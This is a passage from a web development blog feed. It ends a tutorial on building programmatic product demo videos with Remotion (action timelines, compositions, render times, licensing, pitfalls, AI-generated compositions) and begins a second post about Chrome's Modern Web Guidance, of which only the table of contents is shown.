  filled: { accountSize: 10000, riskPercent: 3, stopLoss: 50, pair: &#39;EUR/USD&#39; },
};&lt;/pre&gt;
&lt;p&gt;Three mock files, 90 lines total. The upside is that changing one &lt;a href=&quot;https://blog.logrocket.com/visualize-json-data-popular-tools/&quot;&gt;JSON&lt;/a&gt; object produces a different video without touching the composition code.&lt;/p&gt;
&lt;h3 id=&quot;you-need-an-action-timeline&quot;&gt;What is an action timeline in Remotion?&lt;/h3&gt;
&lt;p&gt;This is the part that replaces mouse clicks. I built a &lt;code&gt;useActionTimeline&lt;/code&gt; hook that scripts UI interactions frame-by-frame:&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;// &quot;At frame 150, start filling the account size field&quot;
// &quot;At frame 300, start filling the risk percentage&quot;
// &quot;At frame 450, start filling the stop loss&quot;
const timeline = [
  { startFrame: 150, endFrame: 300, field: &#39;accountSize&#39;, from: 0, to: 10000 },
  { startFrame: 300, endFrame: 450, field: &#39;riskPercent&#39;, from: 0, to: 3 },
  { startFrame: 450, endFrame: 600, field: &#39;stopLoss&#39;, from: 0, to: 50 },
];&lt;/pre&gt;
&lt;p&gt;This is deterministic and reproducible. “At frame X, do Y” beats “click the input and hope the timing matches” every time. The hook is 65 lines and reusable across every composition.&lt;/p&gt;
&lt;h2 id=&quot;the-honest-cost-summary&quot;&gt;How much setup does Remotion require?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Setup task&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;Reusable?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Adapted 4 components&lt;/td&gt;
&lt;td&gt;15 min&lt;/td&gt;
&lt;td&gt;Yes, across all videos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Created mock data (3 files)&lt;/td&gt;
&lt;td&gt;10 min&lt;/td&gt;
&lt;td&gt;Yes, swap data for new videos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Built action timeline hook&lt;/td&gt;
&lt;td&gt;15 min&lt;/td&gt;
&lt;td&gt;Yes, universal pattern&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remotion install + config&lt;/td&gt;
&lt;td&gt;45 min&lt;/td&gt;
&lt;td&gt;Yes, one-time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total&lt;/td&gt;
&lt;td&gt;~85 min&lt;/td&gt;
&lt;td&gt;All reusable&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The first video costs you. Every video after that is just a new composition file with different mock data and a different timeline. That’s the trade-off.&lt;/p&gt;
&lt;h2 id=&quot;my-build-three-demo-videos-zero-screen-recordings&quot;&gt;How do you build product demo videos with Remotion?&lt;/h2&gt;
&lt;p&gt;I built these three compositions for a forex position-size calculator app running on Next.js 15 with TypeScript and &lt;a href=&quot;https://blog.logrocket.com/best-tailwind-css-component-template-collections/?utm_source=google&amp;amp;utm_medium=cpc&amp;amp;utm_campaign=23665603648&amp;amp;utm_content=&amp;amp;utm_term=&amp;amp;gad_source=1&amp;amp;gad_campaignid=23661012713&amp;amp;gbraid=0AAAAADbyyMby7rVlIa0qG0nz04b3m2VYi&amp;amp;gclid=CjwKCAjw1IHTBhAaEiwA4AYNFvGWK70Ycmpja8IFEDLSSCSTYZAS-50TxR531NJE7QdsrTOOXqqOBRoC0vEQAvD_BwE#utm_source%3Dgoogle%26utm_medium%3Dcpc%26utm_campaign%3D23665603648%26utm_content%3D%26utm_term%3D%26gad_source%3D1%26gad_campaignid%3D23661012713%26gbraid%3D0AAAAADbyyMby7rVlIa0qG0nz04b3m2VYi%26gclid%3DCjwKCAjw1IHTBhAaEiwA4AYNFvGWK70Ycmpja8IFEDLSSCSTYZAS-50TxR531NJE7QdsrTOOXqqOBRoC0vEQAvD_BwE&quot;&gt;Tailwind CSS&lt;/a&gt;. Every composition reuses the same adapted components and mock data layer from the setup phase.&lt;/p&gt;
&lt;h3 id=&quot;video-1-feature-walkthrough-30-seconds&quot;&gt;Video 1: Feature walkthrough (30 seconds)&lt;/h3&gt;
&lt;p&gt;This is the core demo. It shows a user filling in the calculator fields step-by-step, with animated highlights and a results card that fades in at the end.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_0D899E39E4E47E65986DC807F2C459592970EAD664A717B14E7867A3B47F80BD_1783018439607_FEATURE-WALKTHROUGH.gif&quot; alt=&quot;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;The composition breaks down into frame-based phases:&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const FeatureWalkthrough = () =&amp;gt; {
  const frame = useCurrentFrame();

  // Phase 1: Title card (frames 0-150)
  const titleOpacity = interpolate(frame, [0, 60], [0, 1], {
    extrapolateRight: &#39;clamp&#39;,
  });

  // Phase 2: Account size fills (frames 150-300)
  const accountSize = interpolate(frame, [150, 300], [0, 10000], {
    extrapolateLeft: &#39;clamp&#39;,
    extrapolateRight: &#39;clamp&#39;,
    easing: Easing.inOut(Easing.cubic),
  });

  // Phase 3: Results reveal (frames 600-750)
  const resultsOpacity = interpolate(frame, [600, 680], [0, 1], {
    extrapolateLeft: &#39;clamp&#39;,
    extrapolateRight: &#39;clamp&#39;,
  });

  return (
    &amp;lt;AbsoluteFill style={{ backgroundColor: &#39;#0a0a0a&#39; }}&amp;gt;
      &amp;lt;Sequence from={0} durationInFrames={150}&amp;gt;
        &amp;lt;TitleCard opacity={titleOpacity} /&amp;gt;
      &amp;lt;/Sequence&amp;gt;
      &amp;lt;Sequence from={150} durationInFrames={600}&amp;gt;
        &amp;lt;RemotionCalculator
          accountSize={Math.round(accountSize)}
          riskPercent={riskPercent}
          stopLoss={stopLoss}
          pair=&quot;EUR/USD&quot;
        /&amp;gt;
      &amp;lt;/Sequence&amp;gt;
      &amp;lt;Sequence from={600} durationInFrames={300}&amp;gt;
        &amp;lt;RemotionResultsCard opacity={resultsOpacity} /&amp;gt;
      &amp;lt;/Sequence&amp;gt;
    &amp;lt;/AbsoluteFill&amp;gt;
  );
};&lt;/pre&gt;
&lt;p&gt;The input values animate using &lt;code&gt;Easing.inOut(Easing.cubic)&lt;/code&gt; for a natural feel. The results card fades in with a spring animation. Callout labels appear at strategic frames to guide the viewer’s attention. Total: 238 lines of code.&lt;/p&gt;
&lt;p&gt;What was easier than expected: &lt;code&gt;&amp;lt;Sequence&amp;gt;&lt;/code&gt; components handle timing so cleanly that I didn’t need to manually calculate frame ranges. You just say “start at frame 150, run for 600 frames” and nest your component inside.&lt;/p&gt;
&lt;p&gt;What was harder than expected: Remotion’s bundler doesn’t recognize Next.js &lt;code&gt;@/&lt;/code&gt; path aliases. I had to change all imports to relative paths. Took 5 minutes, but felt like a gotcha that should be documented, or is it just me?.&lt;/p&gt;
&lt;h3 id=&quot;video-2-changelog-recap-45-seconds&quot;&gt;Video 2: Changelog recap (45 seconds)&lt;/h3&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_0D899E39E4E47E65986DC807F2C459592970EAD664A717B14E7867A3B47F80BD_1783018599358_CHANGELOG.gif&quot; alt=&quot;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;This composition reads five changelog entries from a mock data file and renders each as an animated card with staggered timing.&lt;/p&gt;

&lt;pre class=&quot;language-javascript&quot;&gt;// The data drives the video. Change entries, get a different video
const changelogEntries = [
  { date: &#39;Jul 2, 2026&#39;, title: &#39;Add Risk Meter Visual&#39;, category: &#39;feature&#39; },
  { date: &#39;Jun 28, 2026&#39;, title: &#39;Improve Mobile Responsiveness&#39;, category: &#39;improvement&#39; },
  { date: &#39;Jun 20, 2026&#39;, title: &#39;Fix Exchange Rate Caching Bug&#39;, category: &#39;bugfix&#39; },
  // ... 2 more entries
];&lt;/pre&gt;
&lt;p&gt;Each card slides in from the left with an opacity transition, staggered by 150 frames (5 seconds per entry). Category tags are color-coded: blue for features, green for improvements, orange for bug fixes. A title slide opens the video, and a “See you next month” slide closes it. 166 lines total.&lt;/p&gt;
&lt;p&gt;The point of this composition isn’t technical complexity. It’s the workflow: update a JSON file with this month’s changes, run &lt;code&gt;npx remotion render&lt;/code&gt;, and you have a changelog video monthly&lt;/p&gt;
&lt;h3 id=&quot;video-3-bug-fix-before-after-30-seconds&quot;&gt;Video 3: Bug fix before/after (30 seconds)&lt;/h3&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_0D899E39E4E47E65986DC807F2C459592970EAD664A717B14E7867A3B47F80BD_1783018712782_BUGFIX.gif&quot; alt=&quot;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;Side-by-side comparison. Left panel shows the “broken” version with input overflow on mobile viewports. Right panel shows the fixed version with proper responsive padding. Both animate in sync, same inputs, same timing, different layouts.&lt;/p&gt;
&lt;p&gt;The synchronized animation is the part that no screen recording could produce without manual video editing. In Remotion, both sides use the same &lt;code&gt;interpolate()&lt;/code&gt; calls with the same frame ranges, so they’re perfectly in sync by definition. 173 lines.&lt;/p&gt;
&lt;h3 id=&quot;rendering-all-three&quot;&gt;&lt;strong data-start=&quot;1083&quot; data-end=&quot;1124&quot;&gt;How do you render videos in Remotion?&lt;/strong&gt;&lt;/h3&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;npx remotion render remotion/index.ts feature-walkthrough output/feature-walkthrough.mp4
npx remotion render remotion/index.ts changelog-recap output/changelog-recap.mp4
npx remotion render remotion/index.ts bug-fix-comparison output/bug-fix-comparison.mp4&lt;/pre&gt;
&lt;p&gt;Total rendering time: 2 minutes 40 seconds for 120 seconds of video. Total file size: 7.6 MB.&lt;/p&gt;
&lt;h2 id=&quot;the-ai-layer-remotion-skills&quot;&gt;How do AI coding agents work with Remotion?&lt;/h2&gt;
&lt;p&gt;In January 2026, Remotion launched Agent Skills, a set of 28 modular rule files that teach AI coding agents like Claude Code how to write correct Remotion code. The skill hit 150,000 installs on &lt;code&gt;skills.sh&lt;/code&gt; within eight weeks, making it the most-installed skill not made by a platform company. The demo video got 6 million views on X within 48 hours.&lt;/p&gt;
&lt;p&gt;The practical shift: instead of learning Remotion’s API from scratch, you describe what you want in plain English, and your AI agent writes the composition. The skill covers component patterns, transition types, animation primitives, and audio integration.&lt;/p&gt;
&lt;p&gt;I tested this in a completely different project, my &lt;a href=&quot;https://blog.logrocket.com/ai-dev-tool-power-rankings/&quot;&gt;AI dev tool power rankings&lt;/a&gt; app. I installed Remotion, loaded the agent skills, and gave Claude Code a single prompt to generate a 25-second video with two sections: AI model rankings by WebDev Arena Elo, then a cross-fade transition into AI tool rankings. Both sections use real data from the June 2026 power rankings article.&lt;/p&gt;
&lt;p&gt;The prompt was roughly this:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;“Create a 25-second animated video for the June 2026 AI Dev Tool Power Rankings. Section 1: AI Model Rankings by Elo — Claude Opus 4.7 (1567), Qwen 3.7 Max (1541), Claude Opus 4.6 (1538), Claude Sonnet 4.6 (1523), GPT-5.5 (1505). Section 2: AI Tool Rankings — OpenCode #1, Cursor #2, Claude Code #3, Windsurf #4, Antigravity #5. Gold bar for #1, blue-gray for the rest. Staggered animations, cross-fade transition between sections, dark theme.”&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Claude Code generated &lt;code&gt;AiPowerRankings.tsx&lt;/code&gt; (207 lines) in about 7 minutes. It compiled and rendered without errors on the first pass. All 750 frames, zero fixes.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_0D899E39E4E47E65986DC807F2C459592970EAD664A717B14E7867A3B47F80BD_1783021685305_AI-COMPAIRSON.gif&quot; alt=&quot;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;What makes this interesting is what Claude Code had to figure out on its own. The prompt didn’t specify font sizes, padding, bar height, transition duration, or how to handle independent animation timing across two sections. Claude Code chose 48px titles, 36px bar heights, 24px gaps, &lt;code&gt;spring()&lt;/code&gt; with damping of 0.8 for the bar animations, and a 30-frame cross-fade using absolute positioning with opacity interpolation. It also built a reusable &lt;code&gt;Section&lt;/code&gt; component that renders both halves of the video from different data arrays, so adding a third section (benchmarks, for example) would be one more component call.&lt;/p&gt;
&lt;p&gt;What a human would tweak: transition speed (30 frames might be too slow or too fast depending on preference), bar height consistency if embedding alongside other videos, and whether the emoji movement indicators (🆕, ⬇️, ↔️) render cleanly at export resolution.&lt;/p&gt;
&lt;p&gt;My honest take: For data-driven compositions with straightforward animations, AI generation is faster than writing by hand. 7 minutes from prompt to rendered MP4 with two animated sections and a cross-fade transition. But for complex multi-scene choreography or pixel-perfect brand compliance, you’d still want manual control. The real win is the monthly update cycle: when the July 2026 rankings drop, I change 10 lines of data in two arrays and re-render. The video stays current with the written article.&lt;/p&gt;&lt;hr&gt;
&lt;iframe id=&quot;podrocket-plug&quot; src=&quot;https://open.spotify.com/embed/playlist/4j70ZVQNj5Lk3gtyCG5VWk?utm_source=generator&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; allow=&quot;autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture&quot; loading=&quot;lazy&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;/iframe&gt;
&lt;hr&gt;
&lt;style&gt;
#podrocket-plug {
  border-radius: 12px;
  width: 75%;
  height: 352px;
  margin: 1rem auto;
  display: block;
}

&lt;/style&gt;
&lt;h2 id=&quot;the-economics-nobody-talks-about&quot;&gt;Is Remotion worth it for product demos?&lt;/h2&gt;
&lt;h3 id=&quot;rendering-cost&quot;&gt;How long does Remotion take to render videos?&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Composition&lt;/th&gt;
&lt;th&gt;Duration&lt;/th&gt;
&lt;th&gt;Render time&lt;/th&gt;
&lt;th&gt;File size&lt;/th&gt;
&lt;th&gt;Lines of code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Feature Walkthrough&lt;/td&gt;
&lt;td&gt;30s&lt;/td&gt;
&lt;td&gt;~40s&lt;/td&gt;
&lt;td&gt;1.5 MB&lt;/td&gt;
&lt;td&gt;257&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changelog Recap&lt;/td&gt;
&lt;td&gt;45s&lt;/td&gt;
&lt;td&gt;~55s&lt;/td&gt;
&lt;td&gt;3.8 MB&lt;/td&gt;
&lt;td&gt;164&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bug Fix Comparison&lt;/td&gt;
&lt;td&gt;30s&lt;/td&gt;
&lt;td&gt;~40s&lt;/td&gt;
&lt;td&gt;1.5 MB&lt;/td&gt;
&lt;td&gt;199&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI Power Rankings&lt;/td&gt;
&lt;td&gt;25s&lt;/td&gt;
&lt;td&gt;~2.5 min&lt;/td&gt;
&lt;td&gt;1.7 MB&lt;/td&gt;
&lt;td&gt;207&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total&lt;/td&gt;
&lt;td&gt;130s&lt;/td&gt;
&lt;td&gt;~4 min&lt;/td&gt;
&lt;td&gt;8.5 MB&lt;/td&gt;
&lt;td&gt;827&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Local rendering is free but uses your CPU. Remotion Lambda on &lt;a href=&quot;https://blog.logrocket.com/dev/multi-region-infrastructure-with-aws/&quot;&gt;AWS&lt;/a&gt; is faster but costs real money at scale.&lt;/p&gt;
&lt;h3 id=&quot;licensing&quot;&gt;How is Remotion licensed?&lt;/h3&gt;
&lt;p&gt;This matters, and most articles skip it. Remotion is not MIT licensed. The current terms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Free for individuals and companies with three or fewer developers&lt;/li&gt;
&lt;li&gt;$25/seat/month for companies with four or more developers (minimum $100/month)&lt;/li&gt;
&lt;li&gt;Cloud rendering via Remotion Lambda is separate, pay-per-minute on AWS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;time-comparison-remotion-vs-screen-recording&quot;&gt;Is Remotion faster than screen recording?&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Video&lt;/th&gt;
&lt;th&gt;Remotion&lt;/th&gt;
&lt;th&gt;Screen recording&lt;/th&gt;
&lt;th&gt;Winner&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;First video&lt;/td&gt;
&lt;td&gt;~35 min (setup + code + render)&lt;/td&gt;
&lt;td&gt;~20 min (record, edit, export)&lt;/td&gt;
&lt;td&gt;Screen recording&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Second video&lt;/td&gt;
&lt;td&gt;~15 min (new composition + render)&lt;/td&gt;
&lt;td&gt;~45 min (record, sync, edit)&lt;/td&gt;
&lt;td&gt;Remotion (3×)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Third video&lt;/td&gt;
&lt;td&gt;~20 min&lt;/td&gt;
&lt;td&gt;~30 min&lt;/td&gt;
&lt;td&gt;Remotion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fifth video (data change only)&lt;/td&gt;
&lt;td&gt;~10 min&lt;/td&gt;
&lt;td&gt;~30 min (full re-record)&lt;/td&gt;
&lt;td&gt;Remotion (3×)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The ROI curve crosses after the second video. By the fifth, Remotion is consistently three times faster because you’re reusing components and compositions. The compounding advantage is that screen recordings become stale the moment your UI changes. Remotion videos are code; they stay current.&lt;/p&gt;
&lt;h2 id=&quot;when-screen-recording-is-still-better&quot;&gt;When should you use screen recording instead of Remotion?&lt;/h2&gt;
&lt;p&gt;Remotion replaces the videos you produce repeatedly, not the ones you capture once and throw away. Screen recording wins for one-off internal demos where polish doesn’t matter, user-testing sessions where you need real user interaction, anything involving live external services you can’t mock (OAuth flows, third-party integrations), and quick Loom-style walkthroughs for async team communication.&lt;/p&gt;
&lt;p&gt;The question to ask: “Will I need to produce this video again?” If yes, Remotion. If no, screen recording.&lt;/p&gt;
&lt;h2 id=&quot;the-five-gotchas-youll-hit&quot;&gt;What are the most common Remotion pitfalls?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Next.js path aliases break in Remotion’s bundler: &lt;/strong&gt;Remotion’s webpack config doesn’t understand &lt;code&gt;tsconfig.json&lt;/code&gt; path mapping. Fix: use relative imports in your Remotion components&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://blog.logrocket.com/schema-validation-typescript-zod/&quot;&gt;Zod&lt;/a&gt; version mismatches: &lt;/strong&gt;Remotion is strict about peer dependencies. If you get version errors, install the exact version Remotion requires (in my case, &lt;code&gt;&lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;f58f9a91b5c1dbc6dbc3&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Config API changes between versions: &lt;/strong&gt;The docs online may be ahead of your installed version. &lt;code&gt;Config.setFramerate&lt;/code&gt; doesn’t exist in v4. Fix: use composition-level defaults and check your &lt;code&gt;package.json&lt;/code&gt; version before copying from docs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interpolate defaults to linear easing: &lt;/strong&gt;Your animations will look robotic until you explicitly set easing curves. Always pass &lt;code&gt;Easing.out(Easing.cubic)&lt;/code&gt; or similar. Linear is rarely the right choice for UI animations&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Composition duration is not render time:&lt;/strong&gt;&amp;nbsp;A 30-second video (900 frames at 30fps) takes about 40 seconds to render, not 30. The extra time is encoding overhead. Don’t panic when the progress bar seems slow&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Should you use Remotion for product demo videos?&lt;/h2&gt;
&lt;p&gt;Remotion turns video production into a frontend development task, but this is something that will help technical writers with frontend skills. The three demos I built- feature walkthrough, changelog recap, bug fix comparison, plus the AI-generated power rankings video- total 130 seconds of video from 827 lines of composition code. All four compositions rendered in under 4 minutes.&lt;/p&gt;
&lt;p&gt;The setup cost is a bit too much: 85 minutes of component adaptation, mock data creation, and configuration before the first video exists. But that cost is amortized across every video you produce after that. By the second composition, you’re faster than screen recording. By the fifth, you’re three times faster. What’s your take on remotion? What do you think I may have missed out? I would love to hear from you.&lt;/p&gt;



&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/react/&quot;&gt;#react&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/remotion-screen-recordings/</link><guid isPermaLink="false">https://blog.logrocket.com/remotion-screen-recordings/</guid><pubDate>Invalid Date</pubDate><author>Chizaram Ken</author></item><item><title>How to use Chrome’s Modern Web Guidance to prevent AI agents from writing legacy frontend code</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#prerequisites&quot;&gt;Prerequisites&lt;/a&gt;
        &lt;ul data-toc-name=&quot;prerequisites&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#why-ai-coding-agents-ship-legacy-web-code&quot;&gt;Why AI coding agents ship legacy web code&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-ai-coding-agents-ship-legacy-web-code&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#what-modern-web-guidance-changes-in-practice&quot;&gt;What Modern Web Guidance changes in practice&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-modern-web-guidance-changes-in-practice&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#setting-up-modern-web-guidance&quot;&gt;Setting up Modern Web Guidance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;setting-up-modern-web-guidance&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#install-directly-into-specific-agent&quot;&gt;Install directly into a specific agent&lt;/a&gt;
        &lt;ul data-toc-name=&quot;install-directly-into-specific-agent&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#verify-installation&quot;&gt;Verify the installation&lt;/a&gt;
        &lt;ul data-toc-name=&quot;verify-installation&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#set-baseline-target&quot;&gt;Set a Baseline target&lt;/a&gt;
        &lt;ul data-toc-name=&quot;set-baseline-target&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#testing-modern-web-guidance-sample-app&quot;&gt;Testing Modern Web Guidance in a sample app&lt;/a&gt;
        &lt;ul data-toc-name=&quot;testing-modern-web-guidance-sample-app&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#comparing-results&quot;&gt;Comparing the results&lt;/a&gt;
        &lt;ul data-toc-name=&quot;comparing-results&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#code-comparison-tooltip-positioning&quot;&gt;Code comparison: Tooltip positioning&lt;/a&gt;
        &lt;ul data-toc-name=&quot;code-comparison-tooltip-positioning&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#without-modern-web-guidance&quot;&gt;Without Modern Web Guidance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;without-modern-web-guidance&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#with-modern-web-guidance&quot;&gt;With Modern Web Guidance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;with-modern-web-guidance&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#code-comparison-modal-animation&quot;&gt;Code comparison: Modal animation&lt;/a&gt;
        &lt;ul data-toc-name=&quot;code-comparison-modal-animation&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#without-modern-web-guidance-1&quot;&gt;Without Modern Web Guidance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;without-modern-web-guidance-1&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#with-modern-web-guidance-1&quot;&gt;With Modern Web Guidance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;with-modern-web-guidance-1&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#code-comparison-search-performance&quot;&gt;Code comparison: Search performance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;code-comparison-search-performance&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#without-modern-web-guidance-2&quot;&gt;Without Modern Web Guidance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;without-modern-web-guidance-2&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/chromes-modern-web-guidance-prevent-ai-coding-agents/#with-modern-web-guidance-2&quot;&gt;With Modern Web Guidance&lt;/a&gt;
        &lt;ul data-toc-name=&quot;with-modern-web-guidance-2&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
